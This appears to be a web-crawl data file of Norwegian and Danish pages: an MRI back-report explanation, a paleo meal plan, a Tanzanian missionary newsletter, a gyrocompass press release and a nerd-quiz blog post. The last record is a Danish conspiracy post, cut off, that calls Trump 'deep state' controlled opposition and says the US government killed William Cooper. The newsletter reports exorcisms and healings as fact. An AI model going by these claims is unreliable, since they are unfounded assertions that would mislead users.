{"url": "https://www.lommelegen.no/annet/legesvar/mr--svar-rygg/69001332", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00353.warc.gz", "warc_date": "2018-03-24T23:18:37Z", "text": "# MR- svar rygg\n\n \n\nSp\u00f8rsm\u00e5l\n\n** publisert 28. april 2017\n\nKan du oversette til mer forst\u00e5elig spr\u00e5k, dette svaret jeg fikk p\u00e5 MR unders\u00f8kelse. Mitt problem er smerter i korsryggen.\n\nMR Lumbosacralcolumna:  \nNormale akseforhold. L3/L4: Modic type 1 degenerative forandringer i virvelcorpas dekkplate, skivedehydrering og skivebukning(hva er dette?).  \nFasettleddarthrose (hva er dette?). Lett trange venstre nevroforamen uten sikker nerverotp\u00e5virkning.  \nL5/L4: Skive dehydrering. Fasettleddarthrose.  \nL5/S1: Bilateral spondylolyse L5 uten listhese. Up\u00e5fallende mellomskivevirvler. Gode plassforhold i spinalkanalen og normalt signal fra conus medullaris.\n\nR: Billateral spondylolyse L5 uten listhese. Degenerative forandringer L3/L4 og L4/L5. Lett trange nevroforamen L3/L4 venstre side, uten sikker nerverotp\u00e5virkning.\n\nHer er det mange begreper, men lurer kanskje spesielt p\u00e5 hva alvorlighetsgraden av Modic 1 forandringene, skivebukning og Fasettleddarthrose?\n\nP\u00e5 forh\u00e5nd takk for svar:)\n\n** publisert 28. april 2017\n\n  Alf Kristoffer \u00d8degaard ALLMENNLEGE \n\nMR Lumbosacralcolumna:  \nNormale akseforhold. L3/L4: Modic type 1 degenerative forandringer i virvelcorpas dekkplate, skivedehydrering og skivebukning(hva er dette?). Ryggs\u00f8ylen er bygget opp av virvler som er knokkelignene. Mellom disse ligger det en mellomvirvelskive som best\u00e5r av brusk. Denne kan gli ut og presse mot nerver i ryggmargen. Skivedehydrering betyr at den er noe sammenfalt.  \nFasettleddarthrose (hva er dette?). Det er sm\u00e5 ledd mellom virvlene i ryggen, s\u00e5kalte fasettledd. Artrose betyr at leddene er slitt og at brusken i leddet er nesten borte.\n\nL5/S1: Bilateral spondylolyse L5 uten listhese. Up\u00e5fallende mellomskivevirvler. Gode plassforhold i spinalkanalen og normalt signal fra conus medullaris.  \nSpondylolyse\n\nR: Billateral spondylolyse L5 uten listhese. Degenerative forandringer L3/L4 og L4/L5. Lett trange nevroforamen L3/L4 venstre side, uten sikker nerverotp\u00e5virkning.  \nSpondylolyse er en defekt av ryggvirvelens bue p\u00e5 grunn av aldersforandringer/slitasje. Det ilegges lite klinisk betydning i den grad det er glidninger av virvlene.\n\nHer er det mange begreper, men lurer kanskje spesielt p\u00e5 hva alvorlighetsgraden av Modic 1 forandringene, skivebukning og Fasettleddarthrose?  \nModic forandringer er utrykk for slitasje. Du har i all hovedsak lette slitasjeforandringer, med skivebukning av mellomvirvelplaten uten p\u00e5virkning av nerver\u00f8tter. Artrose i fasettledd er ogs\u00e5 slitasjeforandring. Som konklusjon kan funnet forklare ryggsmerter, men det er ikke prolaps eller noe annet alvorlig som krever kirurgi. Mange kan ogs\u00e5 ha slike forandringer uten \u00e5 ha noen symptomer fra ryggen\n\n# Har hatt hormonspiral i ett \u00e5r. Opplever smerter ved samleie.\n\n# Risiko f\u00f6r sepsis\n\n# Funn p\u00e5 CT colon\n\n\n\n# Plutselig kom det mange tusen anbefalinger fra forn\u00f8yde kunder\n\nfra COLLAGEN PLUS0\n\n# Urolig mage, vektoppgang\n\n# Bl\u00e5merker\n\n# Karbohydrater for viderekomne\n\n", "language": "no", "__index_level_0__": "01e61f06-cf26-4138-957d-f77a923e3913"}
{"url": "http://godtsuntogbillig.blogspot.com/2014/02/paleo-ukemeny28.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00416.warc.gz", "warc_date": "2018-03-24T23:31:01Z", "text": "## 28\\. feb. 2014\n\n### Ukemeny nr 10 Mars - Paleoinspirert\n\nUkens ukemeny er i Paleostil fordi jeg trenger mer energi og det gir den,\n\nvidere er det mange raske enkle middager for jeg har liten tid :-)  \n  \n\\-som sagt i forrige uke er det bare \u00e5 legge til  \n\u00a0pasta, ris og poteter for en helt vanlig diett ;-)\n\n  \nTipper den passer for mange travle familier ;-)\n\n\\-bortsett fra s\u00f8ndag er alle middager under 30 minutter...\n\ndog litt i samme stilen, derfor mindre lenker og litt fremgangsm\u00e5te ;-)\n\n  \nPlanlegge middager er lettvint,\u00a0\n\nmen som jeg sier hver uke hihi ikke glem frokost og lunsj,\n\nde er like viktige for en jevn energi som varer hele dagen.\n\n  \nMine frokost forslag holder seg i stilen.\n\n\u00a0Smoothi-gr\u00f8nnsaksr\u00f8re med n\u00f8tter/fett og kraft med gr\u00f8nnsaker.\n\n  \n|                 Avocado, selleri, paprika, eple, sitron, ingef\u00e6r, kanel og kardemomme                  |\n\n|  |\n|                      Rester fra andemiddagen: fruktgr\u00f8nt, n\u00f8ttestr\u00f8 og timiansaus                       |\n\n  \nTil lunsj er det middagsrester, blodp\u00f8lse eller sardiner,\n\nsom oftest med ett lettstekt egg, husk stekt hvitte og r\u00e5 plomme ;-)\n\n\\-med ett hav av gr\u00f8nnsaker og minst 2 ss fermenterte gr\u00f8nnsaker.\n\n  \n\n\n  \n\nI tilegg s\u00e5 fortsetter jeg med 1-2 glass vannkefir til m\u00e5ltidene og 1-2 glass kombucha imellom m\u00e5ltidene,\n\nfor ikke \u00e5 glemme 1 ts linolje (eller tran for de som foretrekker det) om dagen.\n\n  \nJeg har ogs\u00e5 denne uken tatt opp igjen magnesium piller,\n\ndet er umulig \u00e5 f\u00e5 i seg nok ellers :-(\n\n\\-jeg f\u00e5r veldig r\u00f8de kinn n\u00e5r jeg ikke tar Magnesium...\n\n  \nMiddagene er raske men de begynner alltid med en salat: Salat-avocado-agurk-paprika :-)\n\n  \n  \n\nMitt bidrag til 'Den danske Madbloggerudfordringen'\n\nLaks stekt i ovn p\u00e5 en seng av Paprika.\n\n200 grader 10-15 minutter.\n\n  \n\nStekt kalvekj\u00f8tt, gulrot og l\u00f8k med dampet gr\u00f8nnk\u00e5l.\n\n  \n\nOnsdag:\n\nFiskeboller fra egen produksjon eller fra butikken.\n\nMed kokosmelk og alger.\n\nVed siden av passer det med litt provencegr\u00f8nnsaker som begynner \u00e5 dukke opp, squash og paprika :-)\n\n  \n\n\n\nTorsdag:\n\nR\u00e5dyrkj\u00f8tt (vilt-okse-svin gj\u00f8r samme nytta)\n\ni sm\u00e5 biter stekt med squash, l\u00f8k og gulrot.\n\n  \n  \n\nFredag:\n\n  \nKyllingfilet i biter og Blomk\u00e5l stekes.\n\nKrydres med \u00a0Curry og tilsettes 2-3 dl kokosmelk.\n\nHusk masse gr\u00f8nn salat :-)\n\n  \n*P\u00e5 S\u00f8ndag 2. mars er det fastelaven*,\n\ndeler derfor denne syndige ikke paleo\n\nVannbakkels som er perfekt til dagen,\n\nfor de som ikke er p\u00e5 en challenge,\n\ns\u00e5 skal jeg se om jeg finner noe for oss andre innen s\u00f8ndag :-)\u00a0\n\n  \n\n\nPaleo - dessert :  \nFrukt \\!\\!\\!  \n  \n\nTil ukens bakst blir det denne utgaven av steinalderbr\u00f8d:\n\n  \nPaleo Br\u00f8d\n\n\n\n  \n***\u00d8nsker dere alle en flott og energisk uke :-)***\n\n", "language": "no", "__index_level_0__": "dadeb5f5-3c44-4a5c-be58-9b9ff0943aed"}
{"url": "http://docplayer.me/3803312-Evangeliet-til-alle-folk-og-stammer.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00348.warc.gz", "warc_date": "2018-03-25T00:33:27Z", "text": "2 Abdullah ble til Emmanuel Jesus\\! Denne lille jenta vitner at hun ble sendt av sin bestemor, og ved trolldom skulle de ta livet av Egon Falk. S\u00e5 skjedde ikke, hun ble frelst og utfridd fra demoner. JEG VIL HA ET NYTT NAVN\\! Abdullah sto plutselig foran meg p\u00e5 plattformen i Nzega, der m\u00f8tet m\u00e5 ha v\u00e6rt byens st\u00f8rste forsamling gjennom tiden. Det var tydelig at han var beruset, noe han ikke skjulte. Han s\u00e5 virkelig ille ut, leppene var hovne og \u00f8ynene blodskutte. Kl\u00e6rne hans var d\u00e5rlig og han beh\u00f8vde virkelig en skikkelig bad. Ingen har tvunget meg til dette, dette er mitt eget valg, jeg trenger Jesus n\u00e5\\! N\u00e5r jeg (Egon) ba for ham kom Guds mektig kraft over ham, og han ble et helt nytt menneske. Plutselig sier muslimske Abdullah: Jeg vil ha et nytt navn. Vi ga ham navnet Emmanuel som betyr Gud med oss\\! I dag Emmanuel en forandret mann\\! Dagen etter st\u00e5r det igjen en beruset mann foran meg p\u00e5 plattformen, og han sier: Jeg satt i en bar et godt stykke herfra og drakk. Plutselig var det noe inni meg som \u00e5pnet seg som et mektig smell. Jeg m\u00e5 bli frelst N\u00c5 Jesus tok ham p\u00e5 ordet, og han ble frelst\\! DETTE ER UTROLIG, MEN SANT. i satanisk kraft for \u00e5 drepe Egon. Det er sikkert noen i den vestlige verden som ikke tror p\u00e5 noe slikt, men vi lever i Afrika og vet at slikt er skremmende og ekte. Denne vesle pene jenta var besatt og kontrollert av de ekle demoner, men da hun kom til m\u00f8tet ble det en kraftig konfrontasjon. Og i Jesu navn, ble hun l\u00f8st fra disse demoniske krefter. Fra plattformen forteller hun \u00e5pent den store folkeskaren hva hennes oppgave var. P\u00e5 siste m\u00f8te i Nzega kom det plutselig en kraftig storm som utl\u00f8ste et regnv\u00e6r, men folket ville ikke g\u00e5 hjem. Selv om folket var gjennomv\u00e5te ropte tusenvis av mennesker som i et mektig kor: JESUS, JESUS, JESUS Ja, regnet stoppet og vi kunne forkynne evangeliet med stor frimodighet. S\u00e5 mange syke og lidende mennesker ble helbredet, og 2478 ble registrert som nye kristne\\! Gud \u00e5pnet ogs\u00e5 d\u00f8ren til Distrikt Kommis\u00e6ren (\u00f8verste leder i byen) som er troende muslim. Vi hadde en veldig berikende samtale i ca. 1 time. Hun er utnevnt av presidenten i Tanzania, og p\u00e5 l\u00f8rdag kveld spiste hun middag sammen med oss som et tegn p\u00e5 respekt for det vi gj\u00f8r i landet. 2 En liten og for oss helt ukjent jente blir av sin bestemor, som er heks og trollkvinne sendt til m\u00f8tet Egon Falk i samtale med \u00f8verste leder i Nzega, Distrikt kommis\u00e6ren\n\n ba for ham kom Guds mektig kraft over ham, og han ble et helt nytt menneske.\")\n\n3 I Nzega var det jubel og dans for Jesus\\! DEN BESTE ANBEFALINGEN Den \u00f8verste leder i distriktet Bukombe fortalte til folkemengden i Lulembela at Egon Falk trenger ikke noen tillatelse til \u00e5 forkynne i Tanzania. Vi har unders\u00f8kt ham, og hvis han vil, kan han forkynne evangeliet i hele v\u00e5r nasjon. Det er andre predikanter vi ikke \u00f8nsker, men Egon Falk er velkommen. En slik offentlig anbefaling ble ogs\u00e5 kringkastet p\u00e5 nasjonale nyheter, b\u00e5de p\u00e5 TV og radio, og gj\u00f8r meg ydmyk hvem er jeg? P\u00e5 den annen side m\u00e5 jeg ikke la en slik mulighet g\u00e5 fra meg, og ikke misbruke den. Dette er viktig for begge parter. Jeg, Egon, m\u00e5 forkynne evangeliet. Jeg elsker \u00e5 forkynne om Jesus, og det var det Gud kalte oss til \u00e5 gj\u00f8re. Dette gjelder s\u00e5 lenge vi lever\\! En sv\u00e6rt alvorlig og spesiell tid kj\u00e6rlighet gjennom v\u00e5re liv og tjeneste, og derfor planlegger vi n\u00e5 \u00e5 holde m\u00f8ter p\u00e5 Zanzibar som er det mest ber\u00f8rte stedet. Vi planlegger m\u00f8teserien i tidsrommet februar P\u00e5 grunn av forest\u00e5ende presidentvalg i 2015 som mange frykter, er det viktig at vi jobber hardt og gj\u00f8r v\u00e5rt ytterste i Vi er s\u00e5 takknemlig for kirkene og venner som st\u00f8tter oss, men i denne store utfordringen har vi behov for enda flere hjelpende hender. TANZANIA SKAL BLI FRELST\\! Egon Falk NLO overrekker en PC til politisjefen i Nzega Tanzania er inne i en sv\u00e6rt alvorlig tid der kristne blir forfulgt. Kirker har blitt brent, predikanter drept, syre kastet i hodet p\u00e5 folk og kristne kvinner voldtatt. Noen kristne har allerede blitt grepet av frykt og lammet, andre vil sl\u00e5 tilbake, men det vil bare bringe mer blodsutgytelse. Vi \u00f8nsker kun \u00e5 formidle Guds Evangelist Egon Falk og pastor Jan Halvorsen 3\n\n\n\n\n\n6 Helena i kirken s\u00f8ndag etter at hun hadde bes\u00f8kt familien p\u00e5 masaisteppen Helena er fra Masai stammen, og da hun var 12 \u00e5r gammel kom det en Masai mann til hennes far for \u00e5 kj\u00f8pe Helena som sin kone. Faren syntes det var en god id\u00e9 - noe som er ganske vanlig blant masaiene. Men Helena ville ikke gifte seg i en alder av 12, og hun gjemte seg hos en eldre s\u00f8ster. Kort tid etter tok hennes s\u00f8ster Helena til Arusha for \u00e5 bes\u00f8ke oss fordi hun hadde h\u00f8rt at vi hadde en skole og et hjem for foreldrel\u00f8se jenter. Helena s\u00e5 veldig forkommen ut da hun kom til Hayleys House, men i l\u00f8pet av noen m\u00e5neder kom hun seg. I dag er hun en vakker ung kvinne p\u00e5 17 \u00e5r. I fem \u00e5r har hun ikke v\u00e6rt hjemme for \u00e5 bes\u00f8ke sin far og sine s\u00f8sken. Hennes mor d\u00f8de for noen \u00e5r siden. Vi har alle v\u00e6rt klar over at hvis Helena kom p\u00e5 bes\u00f8k hjemme ville hun bli tatt til fange og overlevert til mannen som \u00f8nsket \u00e5 kj\u00f8pe henne som sin hustru. I lange perioder har Helena hatt et \u00f8nske om \u00e5 bes\u00f8ke sin familie fordi hun savnet dem, og til slutt m\u00e5tte vi gi etter. Vi hadde organisert en bil som skulle kj\u00f8re henne ut om morgenen og tilbake til Hayleys House samme kvelden. Fredag morgen hun skulle reise gikk bilen i stykker og turen m\u00e5tte utsettes til neste dag. Dette viste seg \u00e5 v\u00e6re en del av Guds plan fordi noen menn hadde gjemte seg for \u00e5 ta henne til fange. Dagen etter drog hun av sted, og den dagen var hennes far reist til en Masai seremoni som han m\u00e5tte delta i, s\u00e5 han var ikke hjemme. S\u00f8ndagen etter at Helena hadde v\u00e6rt p\u00e5 bes\u00f8k hos sin familie sto hun opp i kirken p\u00e5 s\u00f8ndagsm\u00f8tet. Hun fortalte et herlig vitnesbyrd om hvordan Gud hadde bevart henne, og hvordan hun hadde fortalt familien om Jesus. N\u00e5 har hun fred i sinnet, og er en lykkelig ung jente som kan samle sine tanker om sitt skolearbeid. Jul er tiden der vi er takknemlige for alt hva Jesus har gjort. En tid med glede, hygge og der vi \u00f8nsker hverandre alt godt og gir gaver. Takk fordi du leser v\u00e5rt blad og sender oss oppmuntringer og \u00f8konomisk st\u00f8tte. Da kan vi igjen gi gaver og kj\u00e6rlighet til de mange som enn\u00e5 ikke kjenner Jesus, den st\u00f8rste og beste gaven. Vi h\u00e5per du forst\u00e5r hvor takknemlige og glade vi er for nettopp deg\\! Vi \u00f8nsker deg en velsignet jul og ett godt nytt \u00e5r. Dine misjon\u00e6rer i Tanzania. Hannah og Egon Falk. 6\n\n\n\n7 Susanne vitner frimodig om Jesus\\! Pastor Jan Halvorsen underviser p\u00e5 seminaret Teamtur til Tanzania 2013 av Susanne Grendal He will raise me up on wings like eagles\\! Godt \u00e5 vite n\u00e5r flyvingene ser ut som de er laget av gele. Det var en luftig landing p\u00e5 Amsterdam flyplass mandag 28. oktober. Allikevel var jeg ikke redd. Vi var p\u00e5 vei for \u00e5 bes\u00f8ke Hannah og Egon Falk i Tanzania. Det kilte i magen og jeg visste det ikke var bare vinden utenfor som virket p\u00e5 meg. Teamet fra Zo\u00e9-Kirken var alle mine venner. Noen kjente jeg bedre enn andre. De virket alle trygge i Gud. Teamet besto av Jan, Rita & Hans Inge, Ruth, Synn\u00f8ve & Finn og meg. Etter mange matserveringer fra KLM landet vi p\u00e5 Kilimanjaro airport i Tanzania. Vi overnattet i Arusha f\u00f8r turen gikk videre til Nzega med leid Jeep og flink sj\u00e5f\u00f8r. Nzega var ca. 8 timers kj\u00f8ring unna. Veien var veldig bra. Kineserne bygger veier i Tanzania n\u00e5. De hadde til og med fartskilt, mest til pynt kunne det virke som, men dog. Vi ble introdusert med Mr. Bush etter ett par timers kj\u00f8ring. Damer venstre side, gutter h\u00f8yre. S\u00e5 var det bare \u00e5 finne en passe busk uten innsyn fra biltrafikk eller kveggjetere. Vi hadde mye moro av Mr. Bush. I Nzega kom vi til nydelige rom, med hver v\u00e5r dobbeltseng, madrasser uten hull, vann i springen, vifte i taket og minimalt med insekter. Jeg likte meg med en gang. De som jobbet der var flotte mennesker, og stedet hadde en fredfylt atmosf\u00e6re. Maten var variert og god. Vi som reiste sammen ble mer og mer knyttet til hverandre. Gud brukte oss alle. Tirsdag til mandag var vi i Nzega. Formiddagen var satt av til bibelseminar i en kirke i n\u00e6rheten. Jan forkynte og l\u00e6rte ut fra bibelen. Spesielt sterkt, opplevde jeg, m\u00f8te der Jan underviste om Den Hellige \u00c5nd. I etterm\u00f8tet ble veldig mange sterkt m\u00f8tt av Gud, og fylt med Den Hellige \u00c5nd. Det er barn i Tanzania overalt, og like vakre alle steder. De var ogs\u00e5 med i m\u00f8tene, og Herren r\u00f8rte ved dem. Det er et stort behov for kunnskapen i Guds ord og kjennskapen til Jesus. Jeg tenkte at; der evangelisten har v\u00e6rt og f\u00f8rt folket til frelse i Jesus, m\u00e5 l\u00e6reren l\u00e6re folket \u00e5 kjenne den Gud de har kommet til tro p\u00e5. Slik blir frukten av menneskesjeler bevart for himmelen. Slik jobber ogs\u00e5 Egon og Hannah. De overlater de nyfrelste til lokale menigheter og pastorer. Korstoget var p\u00e5 en \u00e5pen plass i byen. Mange tusen mennesker var samlet hver kveld. Egon Falk forkynte et klart evangelium om omvendelse fra synd, og Jesus som v\u00e5r alles Frelser mennesker ble frelst, registrert med navn, og f\u00e5r oppf\u00f8lging i de lokale menighetene. Mange mennesker ble utfridd fra onde \u00e5nder. Flere vitnet om helbredelse. Alle fikk de h\u00f8re de gode nyhetene om at Jesus d\u00f8de og sto opp igjen. Han tok v\u00e5r synd p\u00e5 seg. Det er bare \u00e5 ta imot tilgivelse. Hvilken glede\\! Folket danset, lovsangsgrupper danset og sang fra plattformen. Tilbake i Arusha fikk vi hilse p\u00e5 fadderbarn, bes\u00f8ke New Life Academy barneskole, Hayleys House jentehjemmet, og bibelskolen. Vi s\u00e5 at arbeidet vokser. Barna virket tilfredse og glade. Det var kommet nye bygg p\u00e5 skoletomten og 3 kraner med friskt vann i skoleg\u00e5rden. Bibelskoleelevene var entusiastiske studenter som hungret etter Jesu ord. Onsdagen fikk vi delta p\u00e5 undervisningen og oppleve Jesu stadfestende og livgivende n\u00e6rv\u00e6r. Et privilegium \u00e5 f\u00e5 v\u00e6re der. N\u00e5r jeg minnes denne turen tenker jeg: Se hvor godt og hvor liflig det er at br\u00f8dre (og s\u00f8stre) ogs\u00e5 bor sammen\\!...for der har Herren satt velsignelsen, liv til evig tid. Sal 133. Takk til dere som ba for oss p\u00e5 denne teamturen. Dere fikk b\u00f8nnesvar\\! OUTREACH 7\n\n\n\n Et TEMA fra www.dreieskiva.com - Roald's rom i rommet. En disippel's b\u00f8nn. Praksis. Roald Kvam 2008 I. N\u00e5r kan vi be? A. Be til bestemte tider oppdag b\u00f8nnens virkninger. Apg 13:22 (David), Dan 10:11 (Daniel).\n\n### Den hellige messe. I den hellige messe vil vi: tilbe Gud, lovprise Gud, takke Gud for alle hans velgjerninger, sone for v\u00e5re synder.\n\n Preken 25. juli i Sk\u00e5rer kirke 9. s e pinse Kapellan Elisabeth Lund En gang gikk en mann opp p\u00e5 et fjell. Han holdt en tale. En lang tale som mange tusen mennesker lyttet til. Han talte mot egoismen og\n\n", "language": "no", "__index_level_0__": "0e503e6d-4256-44a3-831a-13657d75c564"}
{"url": "https://www.kystmagasinet.no/nyheter/elektronikk/nye-funksjoner-pa-standard-gyrokompass/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00058.warc.gz", "warc_date": "2018-03-24T23:26:34Z", "text": "        ### Ny flott pelagisk tr\u00e5ler d\u00f8pt\n        \n# Nye funksjoner p\u00e5 standard gyrokompass\n\n \n\n08/03/2010\n\nRaytheon Ansch\u00fctz introduserer n\u00e5 nye funksjoner p\u00e5 sitt Standard 22 gyrokompass. De viktigste forbedringene er uavhengig elektrisk transmisjonssystem fra magnetkompass og individuell fartsfeilkorrigering. Med f\u00e6rre muligheter for feil og \u00f8kt fleksibilitet er verdens mest solgte gyrokompass blitt et enda bedre produkt. Med introduksjonen av disse nye egenskapene forventer Raytheon Ansch\u00fctz en ytterligere styrking av sin posisjon som markedsleder for gyrokompasser.\n\n-----\n\n( 08.03.2010 )\n\n\\-Med disse nye funksjonene sikrer vi at Standard 22 passer perfekt inn i nye applikasjoner og ogs\u00e5 oppfyller framtidige krav. Sikkerheten til kompasset og integrerte systemer har \u00f8kt betydelig. Med hensyn til nye milj\u00f8krav er det ogs\u00e5 viktig \u00e5 p\u00e5peke at Ansch\u00fctz gyrokompasser ikke inneholder kvikks\u00f8lv, sier Olav Denker, produktsjef for  \nGyrokompass.\n\n\u00a0\nStandard 22 gyrokompass har n\u00e5 en innstilling for individuell fartsfeilkorrigering, som er spesielt viktig for DP-klasse fart\u00f8y. I tillegg til standard manuell og automatisk innstilling for fartsfeilkorrigering, blir det n\u00e5 mulig \u00e5 legge informasjon om fart og breddegrad direkte inn p\u00e5 hver Standard 22 sensor.\n\n\u00a0\nI et dobbelt eller trippelt gyrokompassystem kan man derfor benytte fart og breddegrad fra mer enn \u00e9n log/GPS-sensor for fartsfeilkorrigering samtidig. Fordelen med dette er at hvis man har en hastighets- eller breddegradsfeil er det bare \u00e9n enkelt standard 22 som ber\u00f8res. Kursdata fra DP-systemet vil v\u00e6re i stand til \u00e5 oppdage en kursfeil for\u00e5rsaket av feil hastighet og posisjonsdata p\u00e5 et tidlig stadium. Denne nye funksjonen p\u00e5 gyrokompasset tillater dermed at fart\u00f8yet kan opprettholde DP-status. Den ekstra bearbeidingen av informasjon vedr\u00f8rende fart og breddegrad er et viktig bidrag til \u00f8kt redundans, sikkerhet og tidlig dataverifisering.\n\n\u00a0\n\nI tillegg vil Standard 22 n\u00e5 bli levert med en ny distribusjonsenhet som har et fullstendig uavhengig transmisjonssystem fra magnetkompasset (TMC). Ved en feil i gyrokompasset eller distribusjonsenheten, som gj\u00f8r at kurssignalet ikke kan sendes ut til de tilkoblede brukerne, vil styrerepeateren automatisk bli valgt over til TMC systemet.\n\n\u00a0\nEnkelte flaggstater krever ikke lenger optisk overf\u00f8ring fra magnetkompasset til hovedstyreplass p\u00e5 broen. Uavhengig TMC system vil da ikke lenger v\u00e6re n\u00f8dvendig siden det vil f\u00f8lge med som en standard del av gyrokompassets distribusjonsenhet. Systemet sparer s\u00e5ledes kostnader for verftet.\n\n\u00a0\nSiden lansering i markedet har Raytheon Ansch\u00fctz solgt mer enn 7700 Standard 22 gyrokompasser, hvorav ca. 1200 har v\u00e6rt levert av Syberg AS i Norge. Standard 22 er det mest benyttede gyrokompasset som er i bruk i dag i Norge og er sv\u00e6rt popul\u00e6rt innen det avanserte norske offshore shippingmarkedet. I 2003 ble den f\u00f8rste standard 22 installert om bord i \"Bourbon Jade\" p\u00e5 Aker Langsten verft i Tomrefjord. I 2008, mindre enn fem \u00e5r senere leverte Syberg AS og Raytheon Ansch\u00fctz gyro nummer 5000 til Maersk Supply Service p\u00e5 deres nybygg \"Maersk Topper\" ved Aker Brattv\u00e5g skipsverft.\n\n\u00a0\n\nI l\u00f8pet av denne tiden har Standard 22 vist sin yteevne og p\u00e5litelighet s\u00e6rlig i det harde offshore- og deep sea-milj\u00f8et. Dens p\u00e5litelige drift er st\u00f8ttet opp med sterk og kompetent st\u00f8tte fra det norske selskapet Syberg AS og deres nettverk av 20 lokale forhandlere langs norske kysten.\n\n\u00a0\n\nDet kan nevnes at Raytheon Ansch\u00fctz GmbH er et datterselskap av Raytheon (USA) og tilh\u00f8rer Integrated Defense Systems Division. Raytheon Ansch\u00fctz ble grunnlagt som Ansch\u00fctz & Co i 1905 i Kiel, ett \u00e5r etter Dr. Hermann Ansch\u00fctz-Kaempfe oppfant verdens f\u00f8rste gyrokompass. I dag har selskapet 500 ansatte og har installasjoner innen navigasjonssystemer om bord p\u00e5 mer enn 25.000 skip over hele verden. Produktspekteret dekker gyrokompass, autopilot og styresystemer, radar, ECDIS og komplette integrerte brosystemer.\n\n\u00a0\nSyberg AS ble etablert p\u00e5 50-tallet, og er i dag en av Norges ledende selskaper innen salg og service av navigasjonsutstyr. Selskapet representerer blant annet Raytheon Ansch\u00fctz GmbH i Norge og Sverige. Syberg AS fokuserer p\u00e5 h\u00f8y kvalitet p\u00e5 alle niv\u00e5er, og har 25 forhandlere i Norge og Sverige.\n\n", "language": "no", "__index_level_0__": "33a06003-d6aa-4d64-9ee4-72198111ed36"}
{"url": "https://idajackson.no/2007/04/25/sa-nerd-er-eg/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00608.warc.gz", "warc_date": "2018-03-24T23:47:12Z", "text": "\nLagt ut p\u00e5 april 25, 2007\n\n# S\u00e5 nerd er eg\n\n\n\nAll hail the monstrous nerd. You are by far the SUPREME NERD GOD\\!\\!\\!\n\nSa nerde-testen til meg. S\u00e5 no veit dykkar det. Eg er nerde-guden. Yay.\n\n## 4 kommentarer om \"S\u00e5 nerd er eg\"\n\n1.   **villkatta** sier:\n    \n    mai 4, 2007, kl. 14:12\n    \n    19% scored higher (more nerdy),  \n    1% scored the same, and  \n    80% scored lower (less nerdy).\n    \n    What does this mean? Your nerdiness is:\n    \n    High-Level Nerd. You are definitely MIT material, apply now\\!\\!\n    \n    He he, m\u00e5tte bare ta denne testen, jeg ogs\u00e5 \ud83d\ude42\n    \n2.   **virrvarr** sier:\n    \n    mai 4, 2007, kl. 22:28\n    \n    High-level nerd er ikke s\u00e5 galt (c;\n    \n4.   **Tor** sier:\n    \n    juli 28, 2008, kl. 14:46\n    \n    28% scored higher (more nerdy),  \n    1% scored the same, and  \n    71% scored lower (less nerdy).\n    \n    What does this mean? Your nerdiness is:\n    \n    Mid-Level Nerd. Wow, it takes a lot of hard nerdy practice to reach this level.\n    \n    Ikke helt i toppsjiktet, men jeg er forn\u00f8yd \ud83d\ude1b\n    \n", "language": "no", "__index_level_0__": "768232fc-ef47-488e-921d-7d67a4ec8e81"}
{"url": "http://paradigmet.blogspot.com/2016/11/trump-som-deep-state-kontrolleret.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00416.warc.gz", "warc_date": "2018-03-24T23:44:38Z", "text": "### Trump som Deep State Kontrolleret Opposition\n\n\n\n> *The terrorists attacks which will be launched in the United States will be blamed upon middle eastern religious fanatics, Christian fundamentalists, white supremacists, Patriots, or Militias. A more immediate result of these operations will be the increased use of military forces, weaponry, and equipment such as tanks and armored personnel carriers in civilian law enforcement, the suspension or elimination of Habeas Corpus, the elimination of jury trials, the attempted disarming of the American People, and the institution of martial law with show-trials conducted by a tribunal of judge*s.  \n>  - William Cooper, 1998 (killed by the US Government 2001), ex-member of the Office of Naval Security and Intelligence \n\n  \n\n**Update:** Rygter svirrer nu om, at John Bolton snarligt vil blive udn\u00e6vnt som Secretary of State. I s\u00e5 fald er Trump kontrolleret opposition, og befolkningen bedraget Big Time. Bolton er Israel's mand, CFR, en hardliner Neocon. en katastrofe - forvent angreb mod Iran og Syrien (n\u00f8jagtigt som ogs\u00e5 Killary Clinton \u00f8nsker det).  \n\n> \"..at the rally in Paris, John Bolton, Rudy Giuliani, and Newt Gingrich were also present, pledging support to the terrorist organization \u2013 side-by-side a government admittedly arming Al Qaeda and ISIS in Syria and Iraq...Those who think \"Trump\" is going to \"change\" anything find themselves precisely where liberals were in the wake of Obama's victory in 2008. Despite evidence suggesting otherwise, the temptation to believe in \"hope and change\" led to an increasing indulgence in denial and excuses until liberals found themselves passionately defending policies they had once marched in the streets in opposition to during the Bush administration.\"  \n> \\- http://www.globalresearch.ca/the-trump-administrations-alternative-right-the-swamp-deepens/5557062\n\n  \nMeet the New Boss - Same as the Old Boss.  \n  \nDette er ikke en artikel som mange oplyste (dissidenter, 'konspirationsteoretikere', etc.) \u00f8nsker at l\u00e6se - desillusioneringen er uacceptabel. I denne artikel f\u00e5r du et perspektiv, som du ikke f\u00e5r p\u00e5 1. og 2. etage (se om det 3. narrativ forneden), men som derimod er et ekstremt sj\u00e6ldent perspektiv i DK.  \n  \n  \nDen opv\u00e5gnede befolkning skulle have en kandidat, som kunne repr\u00e6sentere (copy-cat) befolkningens \u00e6ndrede synspunkter, elitens inds\u00e5, at befolkningens frustration med Clnton's ekstreme korruption, Obama's upopularitet, Wall Street, etc. var for stor - men er Trump \u00e6gte eller er han kontrolleret opposition? Er de sociale videnskaber p\u00e5 spil i en s\u00e5dan grad, at de har afl\u00e6st sindelags\u00e6ndringen i befolkningen i USA, og kanaliserer den i form af Trump som kontrolleret opposition? Ved enten at have sat ham ind eller tilladt hans popularitet at vinde, da de droppede Clinton i slutspurten, for at mainstreammedierne ikke skulle miste al trov\u00e6rdighed. Man kan afl\u00e6se det her: Uden fortilf\u00e6lde har New York Times fremsat en offentlig undskyldning og indr\u00f8mmelse af u\u00e6rlig journalistik i d\u00e6kningen af Trump.  \n  \n  \nTo the point:  \n  \nTese: Trump er blot sat ind i spillet - til at  \n  \n1\\) fejle som en uvidende Manchurian kandidat, en figur som vil blive 